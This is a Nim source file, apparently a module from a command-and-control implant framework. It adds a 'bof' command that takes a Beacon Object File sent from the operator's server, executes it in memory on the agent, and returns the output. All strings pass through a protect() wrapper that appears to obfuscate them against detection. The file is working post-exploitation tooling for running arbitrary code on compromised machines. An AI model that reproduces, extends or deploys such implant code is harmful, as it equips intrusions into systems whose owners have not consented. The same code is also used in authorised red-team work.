59 lines
2.2 KiB
Nim
59 lines
2.2 KiB
Nim
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import ../common/[types, utils]
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# Define function prototype
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proc executeBof(ctx: AgentCtx, task: Task): TaskResult
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# Command definition (as seq[Command])
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let commands*: seq[Command] = @[
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Command(
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name: protect("bof"),
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commandType: CMD_BOF,
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description: protect("Execute a object file in memory and retrieve the output."),
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example: protect("bof /path/to/dir.x64.o C:\\Users"),
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arguments: @[
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Argument(name: protect("path"), description: protect("Local path to the object file to execute."), argumentType: BINARY, isRequired: true),
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Argument(name: protect("arguments"), description: protect("Arguments to be passed to the object file."), argumentType: STRING, isRequired: false)
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],
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execute: executeBof
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)
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]
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# Implement execution functions
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when defined(server):
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proc executeBof(ctx: AgentCtx, task: Task): TaskResult = nil
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when defined(agent):
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import osproc, strutils, strformat
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import ../agent/core/coff
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import ../agent/protocol/result
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import ../common/utils
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proc executeBof(ctx: AgentCtx, task: Task): TaskResult =
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try:
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var
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objectFile: seq[byte]
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arguments: seq[byte]
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# Parse arguments
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case int(task.argCount):
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of 1: # Only the object file has been passed as an argument
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objectFile = task.args[0].data
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arguments = @[]
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else: # The optional 'arguments' parameter was included
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objectFile = task.args[0].data
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# Combine the passed arguments into a format that is understood by the Beacon API
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arguments = generateCoffArguments(task.args[1..^1])
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echo fmt" [>] Executing object file."
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let output = inlineExecuteGetOutput(objectFile, arguments)
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if output != "":
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return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, string.toBytes(output))
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else:
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return createTaskResult(task, STATUS_FAILED, RESULT_NO_OUTPUT, @[])
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except CatchableError as err:
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return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg))
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